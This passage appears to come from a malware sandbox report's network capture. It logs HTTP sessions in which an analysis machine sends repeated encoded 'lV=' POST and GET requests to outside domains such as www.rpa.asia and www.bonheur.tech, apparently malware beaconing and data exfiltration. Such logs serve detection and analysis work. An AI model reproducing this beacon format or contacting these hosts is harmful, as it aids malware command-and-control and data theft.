UVXXFtz8NhIAT4O5qVgW88go0uqbXlqak0PrLNo7VUC3Rmeyzcvu50RVcANF3Yz7+MEbYmGmGmfxM3xkT2aF+IELIP4osdI/4xP7xrpMQFk21H7YSWc1D [TRUNCATED]
Jan 9, 2025 16:52:20.616612911 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close
Jan 9, 2025 16:52:20.616692066 CET	1289	OUT	Data Raw: 73 71 45 4a 59 79 48 4a 39 54 58 2b 77 35 2f 56 45 6e 4b 74 45 71 74 36 2f 4b 53 56 76 79 62 67 68 76 4a 65 6c 47 46 50 68 42 6e 4a 77 46 65 64 67 30 6e 34 6c 61 6d 6e 49 6d 2b 72 53 34 58 71 57 57 4d 37 68 65 45 59 42 34 73 74 4a 4d 77 2f 62 41 Data Ascii: sqEJYyHJ9TX+w5/VEnKtEqt6/KSVvybghvJelGFPhBnJwFedg0n4lamnIm+rS4XqWWM7heEYB4stJMw/bAhQiGTjFlcntWbgoO1WmxLQrqR6N/BlIcfa1U/I/vmLTPqqzpR8xHv6jhRXbY2B4DxYTx6K+1sPkDjTmpgnAx6phri7sdAQ4M8UeLkOYZJlBGdoglkP3BtX7EiUVuE/cuL0LVW9+MnklIonoyp3vLhbgkrzBr11FNb
Jan 9, 2025 16:52:20.616764069 CET	1519	OUT	Data Raw: 45 68 71 35 70 48 6c 62 38 4b 75 36 7a 74 44 44 6d 34 47 34 63 63 4a 6e 73 69 6b 54 6d 71 48 67 56 5a 48 46 41 55 31 61 31 56 2b 69 51 6c 65 42 64 4c 70 4d 4d 62 49 53 58 76 33 61 53 71 30 65 30 42 4c 6d 34 6e 75 31 70 34 4d 31 64 75 54 31 66 63 Data Ascii: Ehq5pHlb8Ku6ztDDm4G4ccJnsikTmqHgVZHFAU1a1V+iQleBdLpMMbISXv3aSq0e0BLm4nu1p4M1duT1fclFJiwp3ZYvkbUSx+HtuNe1uwAAhdtYKncOU8GRlB+PytkizaHYfXFL9RUxbdfzy3rFg16lwoSLd2LmnBXKtxcVHNWpuvAggcJl/mvvB/x317Q1n2GmOXmQNgzIf0qrgzq21DXSivdejuIlWPggzYO1tEZ6g+tMXK8

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.11.20	49814	76.223.54.146	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:23.149298906 CET	530	OUT	GET /t3iv/?lV=P136bSYw/boin6utEBZ7PLC682DYGQHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2AEMqkWB6gkiSHADwPc=&LSbaT=zft4LoBw HTTP/1.1 Host: www.bonheur.tech Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:52:24.321438074 CET	374	IN	HTTP/1.1 200 OK content-type: text/html date: Thu, 09 Jan 2025 15:52:24 GMT content-length: 253 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 6c 56 3d 50 31 33 36 62 53 59 77 2f 62 6f 69 6e 36 75 74 45 42 5a 37 50 4c 43 36 38 32 44 59 47 51 48 6b 39 71 4b 4c 65 54 6d 58 72 57 41 65 50 79 61 48 54 53 44 4d 46 6f 61 75 42 54 57 78 30 69 67 31 53 33 43 56 46 73 78 33 30 69 55 74 6a 52 56 51 69 42 79 35 35 49 33 59 70 39 39 47 68 33 6b 6b 38 48 35 48 32 41 45 4d 71 6b 57 42 36 67 6b 69 53 48 41 44 77 50 63 3d 26 4c 53 62 61 54 3d 7a 66 74 34 4c 6f 42 77 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?lV=P136bSYw/boin6utEBZ7PLC682DYGQHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2AEMqkWB6gkiSHADwPc=&LSbaT=zft4LoBw"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.11.20	49815	160.25.166.123	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:29.689902067 CET	783	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 199 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 78 7a 39 6d 75 4f 35 64 48 50 31 76 52 6e 35 43 38 56 44 71 6a 50 65 4b 42 58 6e 66 38 50 4a 78 2b 34 2f 75 68 69 7a 41 35 62 35 36 52 46 57 4d 6e 71 52 37 6b 69 6c 32 34 4d 4a 53 32 63 78 4d 30 55 44 4e 32 67 74 66 6a 68 74 57 56 6f 35 4a 61 48 50 5a 63 31 4b 7a 6f 77 78 4e 41 46 73 53 4c 4d 48 33 5a 51 58 78 68 4a 54 51 49 52 48 72 2f 30 37 6a 42 39 72 68 31 6c 36 52 67 70 66 43 6b 2f 45 75 6d 66 72 7a 75 72 48 30 36 47 4a 6b 48 30 39 44 58 75 62 6b 36 58 4a 65 47 56 2b 42 72 76 70 41 67 33 4b 53 53 6f 38 33 67 6e 37 37 4a 63 61 31 7a 41 3d 3d Data Ascii: lV=On/0Uk0gKlcgxz9muO5dHP1vRn5C8VDqjPeKBXnf8PJx+4/uhizA5b56RFWMnqR7kil24MJS2cxM0UDN2gtfjhtWVo5JaHPZc1KzowxNAFsSLMH3ZQXxhJTQIRHr/07jB9rh1l6RgpfCk/EumfrzurH06GJkH09DXubk6XJeGV+BrvpAg3KSSo83gn77Jca1zA==
Jan 9, 2025 16:52:30.037815094 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:52:29 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:52:30.037868023 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.11.20	49816	160.25.166.123	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:32.569895029 CET	803	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 219 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 6a 43 4e 6d 68 4e 52 64 47 76 31 73 66 48 35 43 70 6c 44 6d 6a 50 61 4b 42 56 4c 50 38 39 64 78 39 63 7a 75 67 67 4c 41 38 62 35 36 65 6c 58 49 34 36 51 57 6b 69 68 45 34 4a 70 53 32 63 6c 4d 30 56 7a 4e 32 54 46 63 78 42 74 55 4f 34 35 48 55 6e 50 5a 63 31 4b 7a 6f 77 4d 67 41 45 45 53 49 38 33 33 61 78 58 79 73 70 54 54 66 68 48 72 70 30 37 76 42 39 71 30 31 6b 6d 37 67 76 44 43 6b 2b 30 75 6d 4f 72 77 67 72 48 74 30 6d 49 4d 50 47 30 37 4f 2b 2f 6d 71 47 38 48 48 41 36 6c 6a 5a 6b 61 39 46 2b 32 52 37 67 46 6b 58 43 54 4c 65 62 75 75 49 4d 76 39 57 7a 31 42 35 7a 58 39 74 74 61 55 6f 63 66 6d 39 49 3d Data Ascii: lV=On/0Uk0gKlcgjCNmhNRdGv1sfH5CplDmjPaKBVLP89dx9czuggLA8b56elXI46QWkihE4JpS2clM0VzN2TFcxBtUO45HUnPZc1KzowMgAEESI833axXyspTTfhHrp07vB9q01km7gvDCk+0umOrwgrHt0mIMPG07O+/mqG8HHA6ljZka9F+2R7gFkXCTLebuuIMv9Wz1B5zX9ttaUocfm9I=
Jan 9, 2025 16:52:32.922620058 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:52:32 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:52:32.922663927 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.11.20	49817	160.25.166.123	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:35.454987049 CET	2578	OUT	POST /bwjl/ HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 7367 Content-Type: application/x-www-form-urlencoded Origin: http://www.rpa.asia Referer: http://www.rpa.asia/bwjl/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 6c 56 3d 4f 6e 2f 30 55 6b 30 67 4b 6c 63 67 6a 43 4e 6d 68 4e 52 64 47 76 31 73 66 48 35 43 70 6c 44 6d 6a 50 61 4b 42 56 4c 50 38 39 6c 78 39 70 76 75 69 42 4c 41 2f 62 35 36 58 46 58 4c 34 36 52 55 6b 6b 4a 41 34 4a 74 6f 32 66 64 4d 79 33 4c 4e 77 69 46 63 6f 78 74 55 52 6f 35 4b 61 48 4f 52 63 30 36 33 6f 32 73 67 41 45 45 53 49 2b 76 33 4e 77 58 79 71 70 54 51 49 52 48 6e 2f 30 37 4c 42 39 69 6b 31 6b 69 42 6a 5a 7a 43 6b 65 6b 75 6e 38 44 77 2f 37 48 34 35 47 49 55 50 47 6f 6b 4f 2b 79 58 71 46 68 73 48 48 4f 6c 67 34 56 61 74 45 69 49 45 5a 30 72 74 6a 4f 43 43 76 76 6a 78 4c 63 52 34 77 6e 43 42 75 4c 4d 38 64 56 69 41 4b 63 4a 33 49 72 71 72 78 36 39 46 54 2b 45 78 65 59 34 39 6e 34 30 33 69 45 32 62 38 75 65 70 78 4c 36 4c 59 66 42 59 76 69 63 71 52 70 69 31 56 56 7a 34 50 48 6a 45 72 30 69 68 32 64 37 2b 32 43 59 6c 6c 6f 32 6b 78 46 5a 45 39 5a 6c 65 77 51 5a 32 46 55 72 64 42 45 43 7a 6a 55 51 70 72 49 2b 32 6c 75 38 34 45 62 34 59 33 41 6d 63 53 2b 31 76 68 38 36 59 42 37 63 44 6b 42 [TRUNCATED] Data Ascii: lV=On/0Uk0gKlcgjCNmhNRdGv1sfH5CplDmjPaKBVLP89lx9pvuiBLA/b56XFXL46RUkkJA4Jto2fdMy3LNwiFcoxtURo5KaHORc063o2sgAEESI+v3NwXyqpTQIRHn/07LB9ik1kiBjZzCkekun8Dw/7H45GIUPGokO+yXqFhsHHOlg4VatEiIEZ0rtjOCCvvjxLcR4wnCBuLM8dViAKcJ3Irqrx69FT+ExeY49n403iE2b8uepxL6LYfBYvicqRpi1VVz4PHjEr0ih2d7+2CYllo2kxFZE9ZlewQZ2FUrdBECzjUQprI+2lu84Eb4Y3AmcS+1vh86YB7cDkBc/L+te1Ja/SBLsL+5tSuRd2rSkKy7TGSkcJ3Od3HHSAVpQ+FGOCkUjtVyy474RpR3AJ6mgr5qZVPKTrVQ/X1sC9LVkxJzfbg2If3lv84aN75soJUUgqi44ndrb5JHzdpuAIzVGeOeG78zJ+vowD0Y5lmTvY4zof1N9lyKYzXX0QBpbBvolu7yM56i/TiqZMaHNNS7wqFqr3JS1+vC7AhGtWMjJ6IujVCsRsgK+qUIHWJmgJEJzZVyXSvsjVkfyhhCk916FtrfIt4i2EJtmWOqJI9TKWVFYBLK+i0lnJgTm4Mk9NWb9HemyRHYowXvCTOFWE1H7WUZctYCr7MowHq7SXMBaDml2lodYWp75l6VH5eySNe+lqxnZdpDr2jXSKpcDUV6jwsTkePhvZaT84T+MvaO3waHYRCTFYfyME86lgYlt4dJ58EfwdM8XBu/cmkLl5OU16BTneJScuZ2MHe5dE2VvhIczCcqhjC3CULC19rSMvKRg35UemXW4CCD/3mGYxVJ9C154GPlSEF+dLnqKP5/M0mSxjhvdbcjMh7THfDR7Mtz7AFa1F2pi4jacqEvRD8xeEf0hwQSb7GuAPT2Kjp5dkVb4u2kfY0Llbh/ZkQDNq60vMEkMsSnyIRuWYpcMX3gOqpZp2mQ/dYYHfWcrOLPaTWI+qJ4i [TRUNCATED]
Jan 9, 2025 16:52:35.455009937 CET	3867	OUT	Data Raw: 52 44 70 74 5a 7a 32 62 2b 31 6a 37 2b 79 55 35 41 55 42 64 72 53 69 4d 6c 44 52 52 6f 56 65 71 6b 6c 69 67 61 59 65 67 64 76 2b 52 54 73 67 2b 34 73 55 45 2b 33 31 65 2f 4d 6f 30 4a 4d 51 74 75 46 39 58 75 50 30 39 78 4b 4d 6b 68 2f 79 64 45 46 Data Ascii: RDptZz2b+1j7+yU5AUBdrSiMlDRRoVeqkligaYegdv+RTsg+4sUE+31e/Mo0JMQtuF9XuP09xKMkh/ydEFXUL6Ch06TbOdvPBekA4FyRislw6WhoIoX5dusRWgFfJ43w5Fif4e/udovXehnvfG9LjCS8Cf7MAQPxo3K8IVwLZvz8zjrZ5ti6uaOiQ9T7FHwlnMeo4IGyriuGq3pg9Uklq+QTr+UuiSbfnJxGO++Z0kLwULnsVbp
Jan 9, 2025 16:52:35.455094099 CET	1507	OUT	Data Raw: 59 6c 73 38 4d 4e 65 4d 33 63 62 6a 31 51 77 70 4c 44 35 52 6a 46 43 54 6b 38 42 78 61 5a 64 39 37 37 57 76 32 4d 79 48 45 58 34 58 4d 54 30 79 31 62 68 77 79 62 4b 47 41 4d 59 6f 51 53 6e 4a 71 43 47 4a 55 48 56 7a 77 30 4e 61 39 37 4e 57 7a 6a Data Ascii: Yls8MNeM3cbj1QwpLD5RjFCTk8BxaZd977Wv2MyHEX4XMT0y1bhwybKGAMYoQSnJqCGJUHVzw0Na97NWzjoDegciFWGj6+oQqiBhimJ92KcsCqE1GrhfsFLeVq2CGzMknTVHx0n7uw4QuAqbk/1HONxnLYfj1CGY+vPGCyUPAiI+3JdkWfLWEWhM1Oi1lVcWR2ioIlTQRVUeTdTrFQoVWxv9xD+3vHzWigsx1fcTJJSNl/VFGdi
Jan 9, 2025 16:52:35.806282997 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:52:35 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:52:35.806313038 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.11.20	49818	160.25.166.123	80

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:52:38.335314989 CET	526	OUT	GET /bwjl/?lV=DlXUXSIcZnIsgzl0u4NtOaZFY3Bzu0GepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v3ILJktUUuvXcybstOw=&LSbaT=zft4LoBw HTTP/1.1 Host: www.rpa.asia Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:52:38.691433907 CET	1289	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1251 date: Thu, 09 Jan 2025 15:52:38 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(25 [TRUNCATED]
Jan 9, 2025 16:52:38.691467047 CET	200	IN	Data Raw: 70 6f 77 65 72 65 64 20 62 79 20 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e Data Ascii: powered by LiteSpeed Web Server<p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.11.20	49819	104.21.13.141	80

Timestamp	Bytes transferred	Direction	Data
